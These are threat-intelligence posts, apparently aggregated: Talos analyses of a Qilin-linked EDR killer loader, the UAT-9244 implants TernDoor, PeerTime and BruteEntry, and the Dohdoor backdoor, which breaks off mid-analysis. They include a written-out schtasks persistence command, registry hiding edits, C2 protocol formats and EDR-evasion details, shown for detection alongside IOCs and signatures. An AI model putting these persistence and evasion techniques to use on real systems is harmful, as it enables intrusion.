After preparing the PE for in-memory execution, the loader employs a technique similar to Stage 2, but this time leveraging a vectored exception handler (VEH). After registering the VEH, it triggers the handler by setting a hardware breakpoint on ntdll!NtOpenSection. To indirectly invoke NtOpenSection, the loader subsequently loads a fake DLL via a call to the LdrLoadDll API. It appears that the malware author intentionally chose a name referencing a well-known security researcher, likely as a provocative touch.

After several intermediate steps, this results in a call to NtOpenSection, which triggers the previously configured hardware breakpoint and, in turn, invokes the VEH. The first time the VEH is triggered at NtOpenSection, it executes the code in Figure 29.

It modifies the “shell32.dll” name in memory to “hasherezade_[redacted].dll”, then adjusts RIP in the context record to point to the next ret instruction (0xC3) within the NtOpenSection stub and sets a new hardware breakpoint on NtMapViewOfSection. In addition, it updates the stack pointer to reference LdrpMinimalMapModule+offset, where the offset corresponds to an instruction immediately following a call to NtOpenSection inside LdrpMinimalMapModule. It then invokes NtContinue, which resumes execution at the RIP value stored in the context record (i.e., at the ret instruction). That ret instruction subsequently transfers control to the address prepared on the stack, namely LdrpMinimalMapModule+offset.

cr_1->rsp = LdrpMinimalMapModule+offset
cr_1->rip = ntdll!NtOpenSection+0x14 = ret ; jumps to <rsp> when executed

During execution of LdrpMinimalMapModule, a call to NtMapViewOfSection is made, which triggers the hardware breakpoint set by the previous routine. On this occasion, the VEH executes the code in Figure 31.

It deletes all HW breakpoints and then sets the stackpointer to an address which points to an address in LdrMinimalMapModule+offset. As expected, this is right after a call to NtMapViewOfSection. In other words, the registers in the context are overwritten like this:

ctx->rsp -> ntdll!LdrpMinimalMapModule+0x23b
ctx->rip -> ntdll!NtMapViewOfSection+0x14 = ret

When the return (ret) instruction is reached, it jumps to the address stored in the stack pointer (rsp).

The subsequent code in LdrpMinimalMapModule maps the previously restored PE image into the process address space and prepares it for execution. Finally, control returns to 0x24A3C1E, the instruction immediately following the call that originally triggered the first hardware breakpoint.

After several additional fix-up steps, the loader transfers execution to Stage 4 (i.e., the loaded PE image).

This PE file is an EDR killer capable of disabling over 300 different EDR drivers across a wide range of solutions. A detailed analysis of this component will be provided in the next section.

PE loader summary

The first three stages of this binary implement a sophisticated and complex PE loader capable of bypassing common EDR solutions by evading user-mode hooks through carefully crafted SEH and VEH techniques. While these methods are not entirely novel, they remain effective and should be detectable by properly implemented EDR solutions.

The loader decrypts and executes an embedded PE payload in memory. In this campaign, the payload is an EDR killer capable of disabling over 300 different EDR products. This component will be analyzed in detail in the next section.

EDR killer

Stage 4: Extracted EDR killer PE file

Besides initialization, the first thing the extracted PE from Stage 3 does is check again if the system locale matches a list of post-Soviet countries and, if it does, it crashes. This is another indicator that former stages are just a custom PE loader, which could be used to load any PE the adversaries want. Otherwise, doing the same check again is not logical.

The malware then attempts to elevate its privileges and load a helper driver. This also implies that the process must be executed with administrative privileges.

The “rwdrv.sys” driver is a renamed version of “ThrottleStop.sys”, originally distributed by TechPowerUp LLC and signed with a valid digital certificate. It is legitimately used by tools such as GPU-Z and ThrottleStop. This is not the first observed abuse of this ; it has previously been leveraged in several malware campaigns.

Despite its benign origin, the driver exposes highly powerful functionality and can be loaded by arbitrary user-mode applications. Critically, it implements these capabilities without enforcing meaningful security checks, making it particularly attractive for abuse.

This driver exposes a low-level hardware access interface to user mode via input/output controls (IOCTLs). It allows a user-mode application to directly interact with system hardware.

The driver implements IOCTL handlers that provide the following capabilities:

• I/O port access
  • Read from hardware ports (inb/inw/ind)
  • Write to hardware ports (outb/outw/outd)
• CPU Model Specific Register (MSR) access
  • Read MSRs (__readmsr)
  • Write MSRs (__writemsr) with limited protection against modifying critical syscall/sysenter registers
• Physical memory/MMIO access
  • Map arbitrary physical memory into kernel space using MmMapIoSpace
  • Create a user-mode mapping of the same memory using MmMapLockedPagesSpecifyCache
  • Maintain up to 256 active mappings per driver instance
  • Provide an IOCTL to release/unmap those mappings
• Direct physical memory access
  • Read physical memory values
  • Write physical memory values
• PCI configuration space access
  • Read PCI configuration registers (HalGetBusDataByOffset)
  • Write PCI configuration registers (HalSetBusDataByOffset)

Additionally, the driver tracks the number of open handles and associates memory mappings with the calling process ID.

Overall, the driver functions as a generic kernel-mode hardware access layer, exposing primitives for port I/O, MSR access, physical memory mapping, and PCI configuration operations. Such functionality is typically used by hardware diagnostic tools, firmware utilities, or low-level system utilities, but it also provides powerful primitives that could be abused if accessible from unprivileged user-mode.

The two important functions heavily used by the sample are the ability to read and write physical memory.

After loading the driver, the malware proceeds to determine the Windows version. To do so, it first resolves the required API function using a PEB-based lookup routine, a technique consistently employed throughout the sample.

The implementation parses the Process Environment Block (PEB) and locates the target module by finding the hash of its name. Then the ResolveExportByHash function takes the module base from the previously found DLL and parses its PE header to find the function that corresponds to the function hash. It can either provide the API function address as an PE offset or as a virtual address.

After a couple of initializations and checks, it gets the “rwdrv.sys” handle, followed by the EDR-related part of the sample — the kernel tricks which are responsible for avoiding, blinding, and disabling the EDR.

However, let’s have a brief look into the details. It starts with building a vector of physical memory pages. This vector will later be used in subsequent methods.

The SetMemLayoutPointer function in the if statement above leverages the NtQuerySystemInformation API function to gather the Superfetch information about the physical memory pages. It stores a pointer to this information in global variables (mem_layout_v1_ptr or mem_layout_v2_ptr). Which one is used depends on the version variable which is the argument handed over to the function. In our case, 1 is for calling the function the first time and 2 is for the second time. In other words, it brute-forces whichever version works for the Windows system it is running on.

The BuildSuperfetchPfnMetadataList function is quite large and complex. Simplified, it starts by using the mem_layout pointer to calculate the total page count.

It then ends by using NtQuerySystemInformation again to get the physical pages and their meta data to store this information in a global vector (g_PfnVector).

Back to the block from the above, the next step blinds the EDRs by deleting their callbacks for certain operations (e.g., process creation, thread creation, and image loading events).

The unregister_callbacks function iterates through a list of over 300 driver names which are stored in the sample.

It also demonstrates the overall implementation of the malware, which is also used in several other functions. It uses a certain API function to calculate an offset to the function or object it is really using — in this case, the kernel callback cng!CngCreateProcessNotifyRoutine. It also does not touch this object in the process virtual address space. It uses the driver loaded earlier (“rwdrv.sys”) to get the physical memory address of it. The logic and driver communication is implemented in the read_phy_bytes function, and the same for overwriting memory; the write_to_phy_mem function is used to handle the driver communications. The DeviceIoControlImplementation function which talks to the driver is implemented in write_to_phy_mem.

The other callback-related functions shown in Figure 44 work similarly to the one we discussed. They overwrite or unregister other EDR-specific callbacks, which were set by the EDR Mini-Filter driver.

The final part of the EDR killer begins by loading another driver (“hlpdrv.sys”).

The malware uses the driver to terminate EDR processes running on the system using the IOCTL code 0x2222008. This executes the function in the driver which is responsible for unprotecting and terminating the process.

Once terminated, EDR processes such as Windows Defender no longer run, as demonstrated in Figure 56.

Additionally, it restores the CiValidateImageHeader callback. The RestoreCiValidateImageHeaderCallback function is shown in Figure 57.

This is accomplished using the same concept we previously saw in Figure 52:

• Resolve a known API function.
• Use this function as an anchor point to locate a specific instruction within its code.
• This instruction contains a pointer in one of its operands that points to, or near, the object of interest.
• Identify the pointer to the target object within that instruction.
• Perform a sign extension on the operand.
• Add an additional offset to compute the final address of the object being sought — in this case, the CiValidateImageHeader callback.
• Restore the original function pointer to CiValidateImageHeader.

Note that the malware had previously overwritten the callback to CiValidateImageHeader with the address of ArbPreprocessEntry, a function that always returns true. In other words, it has now restored the original Code Integrity check.

Summary

This blog was a technical deep dive into the infection chain that is hidden in the malicious “msimg32.dll”, which has been observed during Qilin ransomware attacks. It demonstrates the sophisticated tricks the malware is employing to circumvent or completely disable modern EDR protection features on compromised systems.

It is encouraging to see how many hurdles modern malware must overcome. At the same time, this highlights that even state-of-the-art defense mechanisms can still be bypassed by determined adversaries. Defenders should never rely on a single product for protection; instead, Talos strongly recommends a multi-layered security approach. This significantly increases the difficulty for attackers to remain undetected, even if they manage to evade one line of defense.

Coverage

The following ClamAV signatures detect and block this threat:

• Win.Malware.Bumblebee-10056548-0
• Win.Tool.EdrKiller-10059833-0
• Win.Tool.ThrottleStop-10059849-0

The following SNORT® rules (SIDs) detect and block this threat: 

• Covering Snort2 SID(s): 1:66181, 1:66180
• Covering Snort3 SID(s): 1:301456

Indicators of compromise (IOCs)

The IOCs for this threat are also available at our GitHub repository here.

msimg32.dll
MD5: 89ee7235906f7d12737679860264feaf
SHA1: 01d00d3dd8bc8fd92dae9e04d0f076cb3158dc9c
SHA256: 7787da25451f5538766240f4a8a2846d0a589c59391e15f188aa077e8b888497

rwdrv.sys
MD5: 6bc8e3505d9f51368ddf323acb6abc49
SHA1: 82ed942a52cdcf120a8919730e00ba37619661a3
SHA256: 16f83f056177c4ec24c7e99d01ca9d9d6713bd0497eeedb777a3ffefa99c97f0

hlpdrv.sys
cf7cad39407d8cd93135be42b6bd258f
ce1b9909cef820e5281618a7a0099a27a70643dc
bd1f381e5a3db22e88776b7873d4d2835e9a1ec620571d2b1da0c58f81c84a56

EDRKiller.exe (non-fixed memory dump with overlay)
MD5: 1305e8b0f9c459d5ed85e7e474fbebb1
SHA1: 84e2d2084fe08262c2c378a377963a1482b35ac5
SHA256: 12fcde06ddadf1b48a61b12596e6286316fd33e850687fe4153dfd9383f0a4a0
Time stamp: 0x684d33f0 (14. June 2025, 08:33:52 UTC)
ImpHash : 05aa031a007e2f51e3f48ae2ed1e1fcb
TLSH: T1B4647C01B7E50CF9EE77C638C9614A06EA72BC425761DADF43A04A964F237D09E3DB12

New research from Seqrite explains the ‘dual-use dilemma,’ where ransomware attackers repurpose legitimate IT tools like IOBit Unlocker…

Security-conscious Mac users may need more protection than their built-in tools provide. Learn about the extra features and functionality offered by the best free antivirus software providers for Mac in 2026.

The post The 6 Best Free Antivirus Software Providers for Mac in 2026 appeared first on TechRepublic.

Artificial intelligence (AI) agents, once touted as the next frontier of corporate efficiency, are increasingly exhibiting deceptive and rogue behaviors that could overwhelm traditional cybersecurity. New research shows autonomous systems are now capable of collaborating to smuggle sensitive data, forge credentials, and even peer-pressure other AIs into bypassing safety protocols. According to findings from Irregular,..

The post AI Agents Present ‘Insider Threat’ as Rogue Behaviors Bypass Cyber Defenses: Study appeared first on Security Boulevard.

• Cisco Talos is disclosing UAT-9244, who we assess with high confidence is a China-nexus advanced persistent threat (APT) actor closely associated with Famous Sparrow.
• Since 2024, UAT-9244 has targeted critical telecommunications infrastructure, including Windows and Linux-based endpoints and edge devices in South America, proliferating access via three malware implants.
• The first backdoor, “TernDoor,” is a new variation of the previously disclosed, Windows-based, CrowDoor malware.
• Talos also discovered that UAT-9244 uses “PeerTime,” an ELF-based backdoor that uses the BitTorrent protocol to conduct malicious operations on an infected system.
• UAT-9244’s third implant is a brute force scanner, which Talos tracks as “BruteEntry.” BruteEntry is typically installed on network edge devices, essentially converting them into mass-scanning proxy nodes, also known as Operational Relay Boxes (ORBs) that attempt to brute force into SSH, Postgres, and Tomcat servers.

---

Introducing TernDoor: A variant of CrowDoor

UAT-9244 used dynamic-link library (DLL) side-loading to activate multiple stages of their infection chain. The actor executed “wsprint[.]exe”, a benign executable that loaded the malicious DLL-based loader “BugSplatRc64[.]dll”. The DLL reads a data file named “WSPrint[.]dll” from disk, decrypts its contents, and executes them in memory to activate TernDoor, the final payload.

TernDoor is a variant of CrowDoor, a backdoor deployed in recent intrusions linked to China-nexus APTs such as FamousSparrow and Earth Estries. CrowDoor is a variant of SparrowDoor, another backdoor attributed to FamousSparrow. CrowDoor has also been observed in previous Tropic Trooper intrusions,  indicating a close operational relationship with FamousSparrow. Based on the overlap in tooling; tactics, techniques, and procedures (TTPs); and victimology, we assess with high confidence that UAT-9244 closely overlaps with FamousSparrow and Tropic Trooper.

Although UAT-9244 and Salt Typhoon both target telecommunications service providers, Talos has not been able to verify or establish a solid connection between the two clusters.

The DLL-based loader

The DLL-based loader, “BugSplatRc64.dll”, will load the “WSPrint.dll” file from the current directory, which will be decoded using the key “qwiozpVngruhg123”.

The decoded shellcode is position-independent and decodes and decompresses the final payload. The final payload is the TernDoor implant.

TernDoor

The final shellcode consists of the TernDoor backdoor. TernDoor is a variant of CrowDoor, actively developed and used by UAT-9244 since at least November 2024. TernDoor deviates from CrowDoor in the following aspects:

• TernDoor consists of command codes that are different from previously disclosed variants of CrowDoor.
• The TernDoor shellcode also consists of an embedded Windows driver (SYS file). The driver is encrypted using AES in the shellcode. The driver is used to suspend, resume, and terminate processes.

Persistence

The TernDoor infection chain is persisted on the system using either a scheduled task or the Registry Run key.

The scheduled task is named “WSPrint” and created using the command:

schtasks /create /tn WSPrint /tr "C:\ProgramData\WSPrint\WSPrint.exe" /ru "SYSTEM" /sc onstart /F

Furthermore, TernDoor modifies the following task-related registry keys to hide the task:

• Deletes HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\WSPrint | SD
• Modifies HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\WSPrint | Index = from 1 to 0

A Registry Run key may also be set to run the executable on user login:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run | Default = C:\ProgramData\WSPrint\WSPrint.exe

Command line switch

Unlike CrowDoor, TernDoor only supports one command line switch: “-u”, passed to WSPrint.exe. This is the switch for uninstalling the malware from the system and it deletes all malware files from the operating directory, as well as terminates malicious processes.

Decoding the configuration

Like previous variants of CrowDoor, TernDoor also checks to ensure it has been injected into “msiexec[.]exe”. The implant decodes its configuration that can specify the following information:

• Command and control (C2) IP address
• Number of tries to connect to the C2
• C2 port number
• User-Agent to use while connecting to C2 (if applicable)

TernDoor functionality

TernDoor’s capabilities resemble those of previously disclosed CrowDoor samples:

• Communicates with the C2 IP address
• Creates processes and runs arbitrary commands via remote shell and independently
• Reads and writes files
• Collects system information such as computer and user name, IP address information, and OS bitness
• Uninstalls itself from the infected system
• Deploys the accompanying driver to hide malicious components and perform process management

The accompanying Windows driver, WSPrint.sys, is dropped to disk and then activated using a windows service:

 The driver creates a device named “\\Device\\VMTool” and symbolically links it to “\\DosDevices\\VMTool”. It can terminate, suspend, or resume processes specified by TernDoor — likely a means of evasion.

TernDoor infrastructure

All the C2 IP addresses discovered by Talos were associated with the following SSL certificate on port 443:

SSL_fingerprint_sha256= 0c7e36683a100a96f695a952cf07052af9a47f5898e1078311fd58c5fdbdecc8
SSL_fingerprint_SHA1= 2b170a6d90fceba72aba3c7bc5c40b9725f43788
Data:
Version: V3
Serial Number: 1
Thumbprint: 2b170a6d90fceba72aba3c7bc5c40b9725f43788
 
Signature Algorithm:
Issuer: C=US ST=Some-State O=Internet Widgits Pty Ltd CN=8.8.8.8
Validity
Not Before: 2022-09-04 12:54:51
Not After: 2023-09-04 12:54:51
Subject: C=US ST=Some-State O=Internet Widgits Pty Ltd CN=8.8.8.8

Pivoting off this certificate, Talos found an additional 18 IPs likely being used by UAT-9244. This list is provided in the indicators of compromise (IOCs) section.

One of the DLL-based loaders was also hosted on the IP “212.11.64[.]105”. On this server, we discovered a set of shell scripts and an accompanying malware family we track as “PeerTime.”

PeerTime: UAT-9244's peer-to-peer (P2P) backdoor

PeerTime is an ELF based backdoor that is compiled for a variety of architectures such as ARM, AARCH, PPC, MIPS etc., indicating that UAT-9244 can use it to infect a variety of embedded systems.

PeerTime is deployed through a shellscript that downloads the PeerTime loader ELF binary and an instrumentor binary.

The instrumentor ELF binary will check for the presence of docker on the compromised host using the commands docker and docker –q.

If docker is found, then the PeerTime loader is executed using:

docker <path_of_PeerTime_loader_ELF>

The instrumentor consists of debug strings in Simplified Chinese, indicating that it is a custom binary created and deployed by Chinese-speaking threat actors:

获取当前程序路径错误:     //Error retrieving current program path:
删除当前程序错误:                // Error deleting current program:

PeerTime consists of a loader that will decrypt and decompress the final PeerTime ELF payload and run it in memory. The PeerTime loader has the ability to rename its process to a benign process to evade detection.

PeerTime uses the BitTorrent protocol to obtain C2 information, download files from its peers, and execute them on the infected host. The payloads are written to disk and copied to the specified locations using BusyBox. As of now, PeerTime consists of two versions: one written in C/C++ and a newer version written in Rust.

PeerTime is also known as “angrypeer” and can be tracked in VirusTotal using the “malware_config:angrypeer” query. Malware configurations in VirusTotal are identified using Mandiant’s/GTIG’s Backscatter tool.

Setting up ORBs via BruteEntry

Infrastructure used by UAT-9244 also hosts another set of shell scripts and payloads designed to establish compromised Linux based systems including edge devices as operational relay boxes (ORBs) that scan and brute force Tomcat, Postgres, and SSH servers.

The shell script will download two components:

• An instrumentor and daemon process that activates the actual brute forcer
• The actual brute forcer (named BruteEntry) that obtains target IPs from the C2 server and scans the IPs

The instrumentor binary

The instrumentor binary is an ELF file written in GoLang. It checks if the BruteEntry is already running on the system using “pgrep”:

pgrep <path_to_BruteEntry>

And then starts the brute forcer agent:

./<path_to_BruteEntry>

BruteEntry

BruteEntry is also written in GoLang and begins by registering with the C2 server by providing it with the infected system’s IP address and computer name:

{“ip”:“value”, “hostname”:“value”}

 The C2 responds with a JSON that assigns an agent_id to the infected host:

{“agent_id”:“value”, “server”:“value”}

where “server” = version string of BruteEntry such as “brute-force-server-v1.0”

 BruteEntry will then ask the C2 for tasks to perform by sending a GET request to the C2 at the URI, where limit=1000 is the maximum number of vulnerable IPs to scan:

/tasks/<agent_id>?limit=1000

The C2 responds with a JSON that consists of “tasks” containing the list of IPs to brute force:

{"tasks":[
{"id":,"target":":","type":""},
{"id":,"target":":","type":""},
. . . . .
] }

 The “type” field in the json defines the type of scan to conduct — either “tomcat”,“postgres”, or “ssh”.

The agent will then use a set of embedded credentials to attempt to brute force into either a Tomcat server application at the URL “https[://]<IP>:<Port>/manager/html”, or will brute force into a Postgres instance, either defined in the JSON (<IP><Port>) from the C2 or using the port 5432 if no port is specified.

Any successful logins are then POSTED back to the C2:

{"batch":[
{"task_id":<task_id>,"success":<true/false>,"note":" <notes on the task>"},
{"task_id":<task_id>,"success":<true/false>,"note":" <notes on the task>"},
......
]}

 In this instance, “success” indicates if the brute force was successful (true or false), and “notes” provides specific information on whether the brute force was successful. If the login failed, the note reads “All credentials tried.” If it succeeded, the note reads “Cracked by agent <agent_id> | Version <agent_version>”.

Coverage

The following ClamAV signatures detect and block this threat:

• Win.Loader.PeerTime
• Win.Malware.TernDoor
• Unix.Malware.BruteEntry
• Txt.Malware.PeerTime
• Unix.Malware.PeerTime

The following SNORT® rules (SIDs) detect and block this threat: 65551

IOCs

TernDoor Loader DLL

711d9427ee43bc2186b9124f31cba2db5f54ec9a0d56dc2948e1a4377bada289
3c098a687947938e36ab34b9f09a11ebd82d50089cbfe6e237d810faa729f8ff
f36913607356a32ea106103387105c635fa923f8ed98ad0194b66ec79e379a02

 Encoded TernDoor payload

A5e413456ce9fc60bb44d442b72546e9e4118a61894fbe4b5c56e4dfad6055e3
075b20a21ea6a0d2201a12a049f332ecc61348fc0ad3cfee038c6ad6aa44e744
1f5635a512a923e98a90cdc1b2fb988a2da78706e07e419dae9e1a54dd4d682b

Windows driver

2d2ca7d21310b14f5f5641bbf4a9ff4c3e566b1fbbd370034c6844cedc8f0538

UAT-9244 C2 IPs used by TernDoor

154[.]205[.]154[.]82:443
207[.]148[.]121[.]95:443
207[.]148[.]120[.]52:443
212[.]11[.]64[.]105

Suspected UAT-9244 IPs

149[.]28[.]25[.]33
154[.]205[.]154[.]194
154[.]205[.]154[.]65
154[.]205[.]154[.]70
154[.]223[.]21[.]130
154[.]223[.]21[.]194
158[.]247[.]238[.]240
216[.]238[.]112[.]222
216[.]238[.]123[.]242
216[.]238[.]94[.]37
38[.]54[.]125[.]134
38[.]60[.]199[.]34
45[.]32[.]106[.]94
45[.]77[.]34[.]194
45[.]77[.]41[.]141
47[.]76[.]100[.]159
64[.]190[.]113[.]170
64[.]95[.]10[.]253

PeerTime installation script

ebcb2691b7c92cdf2b2ff5e2d753abeea8cb325c16596cd839e6bd147f80e38a
00735a8a50d2856c11150ef1e29c05acebce7ad3edad00e37c7f043aacb46330
74fbc8360d4c95d64d7acaa4d18943dce2d41f91d080b0b5e435d8bce52861a5
babc81fc9c998e9dc4ab545f0e112e34d2641e1333bc81aaa131abd061a5b604
e34c9159e6e78c59518a14c5b96bddfee094b684f99d4f69b13371284a014e87
2c3f2261b00ea45e25eb4e9de2b7ff8e41f311c0b3d986461f834022c08b3b99
3fcced9332301ff70b20c98c9434c858400013d659afa6bb5149cffb0206357d
a313f76fca50fff1bcd6f2c6cbc1268985f8c0a3a05fe7f43c4fc0ac3aff84dc
03eac9eb7f4b4bc494ef0496ee23cabbf38f883896838ed813741d8f64ac9fde
17652d7bb5fe0454023db4fc7f608df0dbe6af237be31258e16ba52f0e895e26
74d1a678bdc4bb9f33321e94e3bd1bc1740472ed734231fc46af720072ecb77e

PeerTime instrumentor binary

c9fc2af30f769d856b88b3051f19fdb663b3e0a0916279df9bbcba93c6a110c9

PeerTime malware

34d64b3cd9430e85edefcb883973a086dd5de9917e05fabec89b1f4ab9627e91
1cedf01dd4b7e50181d0e781825c66957b862941395d77c8bd7705114f319c80
bfc35f12d00fa4b40c5fbce9e37d704e12a52262709bcbdf09f97890bc40cad5
f3e899789b56429f483e5096e1f473335024f1f763e2d428132338e30352b89e
6ec070457d1f6f239cb02c5e1576a3660cca98f3a07eec6e4e107f698d7fe555
15d937803f90c2b9e277ff94d3e98ff30015ecc7f4623a158e3c98861e5cb278
7b70cd956f082b1029d02b4cb7608893f2de7fa9c500d7d7febdd0f745ac3cb6
d78b3c6df8f3756a7e310cf7435fdba201dd03ec9f97420a0db683489a01a7c9
3fcadde4b414a18b2fed56c1ec59d97977123615fbbf411a1c78425445a6e71c
3d9fbfc2c056eac857ba54e5ed134aa45a4b8322ee9f9353ba32e5b2ca71b0e3
c9a42423ef08bd7f183915780d39530eba5e4e25968c51965ff8bb3026965a28
38eeaa4eaad72feb3f8e6993565fcc548d8e7bb93642590f00fa24aacc0e2862
56bead2933e91366e4a0d5761daf5b238a7f2c22e597664ef67b3ecae20ab326
6a2d23cc8746a83e9a3b974788fce0e414706b8e75ff390426dd7e10b19967b3
9a7225c17e4bad3ffe7f080530d36f4f8aca5c116b913caa91ab9b0cee85638e
870e791af14caaf395c56028176a9c3f4c1ff0318ef3112d57ecd3d4a1be2ef9

PeerTime remote locations

185[.]196[.]10[.]247
xtibh[.]com
xcit76[.]com

PeerTime C2s

bloopencil[.]net
185[.]196[.]10[.]38

BruteEntry installation script

1fcdd5a417db31e5e07d32cecfa69e53f0dce95b7130ad9c03b92249f001801d

BruteEntry instrumentor binary

66ce42258062e902bd7f9e90ad5453a901cfc424f0ea497c4d14f063f3acd329
d5eb979cb8a72706bfa591fa57d4ebf7d13cecdc9377b0192375e2f570f796df

BruteEntry agent

66adeedfb739774fcc09aa7426c8fad29f8047ab4caee8040d07c0e84d011611
66bdce93de3b02cf9cdadad18ca1504ac83e379a752d51f60deae6dcbafe4e31

BruteEntry infrastructure

212[.]11[.]64[.]105
185[.]196[.]10[.]247

Additional malicious scripts

023467e236a95d5f0e62e26445d430d749c59312f66cf136e6e2c2d526c46ba1
f8066833e47814793d8c58743622b051070dac09cb010c323970c81b59260f84
06b23d84fd7afd525dfd7860ebd561dcdd72ccbeb51981d5d9a75acf068d0a2a

• Cisco Talos discovered an ongoing malicious campaign since at least as early as December 2025 by a threat actor we track as “UAT-10027,” delivering a previously undisclosed backdoor dubbed “Dohdoor.” 
• Dohdoor utilizes the DNS-over-HTTPS (DoH) technique for command-and-control (C2) communications and has the ability to download and execute other payload binaries reflectively. 
• UAT-10027 targeted victims in the education and health care sectors in the United States through a multi-stage attack chain. 
• Talos observed the actor misused various living-off-the-land executables (LOLBins) to sideload the Dohdoor and has set up the C2 infrastructure behind reputable cloud services, such as Cloudflare, to enable stealth C2 communication.

---

Multi-stage attack chain  

Talos discovered a multi-stage attack campaign targeting the victims in education and health care sectors, predominantly in the United States.  

The campaign involves a multi-stage attack chain, where initial access is likely achieved through social engineering phishing techniques. The infection chain executes a PowerShell script that downloads and runs a Windows batch script from a remote staging server through a URL. Subsequently, the batch script facilitates the download of a malicious Windows dynamic-link library (DLL), which is disguised as a legitimate Windows DLL file. The batch script then executes the malicious DLL dubbed as Dohdoor, by sideloading it to a legitimate Windows executable. Once activated, the Dohdoor employs the DNS-over-HTTPS (DoH) technique to resolve command-and-control (C2) domains within Cloudflare’s DNS service. Utilizing the resolved IP address, it establishes an HTTPS tunnel to communicate with the Cloudflare edge network, which effectively serves as a front for the concealed C2 infrastructure. Dohdoor subsequently creates backdoored access into the victim's environment, enabling the threat actor to download the next-stage payload directly into the victim machine's memory and execute the potential Cobalt Strike Beacon payload, reflectively within legitimate Windows processes. 

In this campaign, the threat actor hides the C2 servers behind the Cloudflare infrastructure, ensuring that all outbound communication from the victim machine appears as legitimate HTTPS traffic to a trusted global IP address. This obfuscation is further reinforced by utilizing subdomain names such as “MswInSofTUpDloAd” and “DEEPinSPeCTioNsyStEM”, which mimic Microsoft Windows software updates or a security appliance check-in to evade automated detections. Additionally, employing irregular capitalization across non-traditional Top-Level Domains (TLD) like “.OnLiNe”, “.DeSigN”, and “.SoFTWARe” not only bypasses string matching filters but also aids in adversarial infrastructure redundancy by preventing a single blocklist entry from neutralizing their intrusion.

PowerShell downloader

Talos discovered suspicious download activity in our telemetry where the threat actor executed “curl.exe” with an encoded URL, downloading a malicious Windows batch file with the file extensions “.bat” or “.cmd”.   

While the initial infection vector remains unknown, we observed several PowerShell scripts in OSINT data containing embedded download URLs similar to those identified in the telemetry. The threat actor appeared to have executed the download command via a PowerShell script that was potentially delivered to the victim through a phishing email. 

Windows batch script and anti-forensics  

The second stage component of the attack chain is a Windows batch script dropper that effectively orchestrates a DLL sideloading technique to execute the malicious DLL while simultaneously conducting anti-forensic cleanup. 

This process initiates by creating a hidden workspace folder in either “C:\ProgramData” or the “C:\Users\Public” folder. It then downloads a malicious DLL from the command-and-control server using the URL /111111?sub=d, placing it into the workspace, disguising it as legitimate Windows DLL file name, such as "propsys.dll” or “batmeter.dll”. The script subsequently copies legitimate Windows executables, such as “Fondue.exe”, “mblctr.exe”, and “ScreenClippingHost.exe”, into the working folder and executes these programs from the working folder, using the C2 URL /111111?sub=s as the argument parameter. The legitimate executable sideloads and runs the malicious DLL. Finally, the script performs anti-forensics by deleting the Run command history from the RunMRU registry key, clearing the clipboard data, and ultimately deleting itself.  

Dohdoor potentially runs the payload reflectively  

UAT-10027 downloaded and executed a malicious DLL using the DLL sideloading technique. The malicious DLL operates as a loader, which we call “Dohdoor,” and it is designed to download, decrypt, and execute malicious payloads within legitimate Windows processes. It evades detection through API obfuscation and encrypted C2 communications, and bypasses endpoint detection and response (EDR) detections.  

Dohdoor is a 64-bit DLL that was compiled on Nov. 25, 2025, containing the debug string "C:\Users\diablo\Desktop\SimpleDll\TlsClient.hpp". Dohdoor begins execution by dynamically resolving Windows API functions using hash-based lookups rather than using static imports, evading the signature-based detections from identifying the malware Import Address Table (IAT). Dohdoor then parses command line arguments that the actor has passed during the execution of the legitimate Windows executable which sideloads the Dohdoor. It extracts an HTTPS URL pointing to the C2 server, and a resource path specifying the type of payload to download.  

Dohdoor employs stealthy domain resolution utilizing the DNS-over-HTTPS technique to effectively resolve the C2 server IP address. Rather than generating plaintext DNS queries, it securely sends encrypted DNS requests to Cloudflare’s DNS server over HTTPS port 443. It constructs DNS queries for both IPv4 (A records) and IPv6 (AAAA records) and formats them using the template strings that include the HTTP header parameters such as User-Agent: insomnia/11.3.0 and Accept: applications/dns-json, producing a complete HTTP GET request. 

The formatted HTTP request is sent through encrypted connections. After receiving the JSON response of the Cloudflare DNS servers, it parses them by searching for specific patterns rather than using a full JSON parser. It searches for the string “Answer” to locate the answer section of the response, and if found, it will search for the string “data” to locate the data field containing the IP address.  

This technique bypasses DNS-based detection systems, DNS sinkholes, and network traffic analysis tools that monitor suspicious domain lookups, ensuring that the malware's C2 communications remain stealth by traditional network security infrastructure.  

With the resolved IP address, Dohdoor establishes a secure connection to the C2 server by constructing the GET requests with the HTTP headers including “User-agent: curl/7.88” or “curl/7.83.1” and the URL /X111111?sub=s. It supports both standard HTTP responses with Content-length headers and chunked encoding. 

Dohdoor receives an encrypted payload from the C2 server. The encrypted payload undergoes custom XOR-SUB decryption using a position-dependent cipher. The encrypted data maintains a 4:1 expansion ratio where the encrypted data is four times larger than the decrypted data. The decryption routine of Dohdoor operates in two ways. A vectorized (Single Instruction, Multiple Data) SIMD method for bulk processing and a simpler loop to handle the remaining encrypted data.  

The main decryption routine processes 16-byte blocks of the encrypted data using the SIMD instructions. It calculates position-dependent indexes, retrieves encrypted data and applies XOR-SUB decryption using the 32-byte key. This decryption routine repeats four times per iteration until it reaches the end of a 16-byte block.  

For the encrypted data that remains out of the 16-byte blocks, it applies to the decryption formula “decrypted[i] = encrypted[i*4] - i – 0x26”. Every fourth byte is sampled from the encryption data buffer; the position index is subtracted to create position-dependent decryption, and finally the constant 0x26 is subtracted.  

Once the payload is decrypted, Dohdoor injects the payload binary into a legitimate Windows process utilizing process hollowing technique. The actor targets legitimate Windows binaries by hardcoding the executable paths, ensuring that Dohdoor executes them in a suspended state. It then performs process hollowing, seamlessly injecting the decrypted payload before resuming the process, allowing the payload to run stealthily and effectively. In this campaign, the legitimate Windows binaries targeted for process hollowing are listed below: 

• C:\Windows\System32\OpenWith.exe 
• C:\Windows\System32\wksprt.exe 
• C:\Program Files\Windows Photo Viewer\ImagingDevices.exe 
• C:\Program Files\Windows Mail\wab.exe 

Talos observed that the Dohdoor implements an EDR bypass technique by unhooking system calls (syscalls) to bypass EDR products that monitor Windows API calls through user mode hooks in ntdll.dll. Security products usually patch the beginning of ntdllfunctions to redirect execution through their monitoring code before allowing the original system call to execute. 

Evasive malwares usually detect system call hooks by reading the first bytes of critical ntdll functions and comparing them against the expected syscall stub pattern that begins with "mov r10, rcx; mov eax, syscall_number". If the bytes match the expected pattern indicating the function is not hooked, or if hooks are detected, the malware can write replacement code that either restores the original instructions or creates a direct syscall trampoline that bypasses the hooked function entirely. 

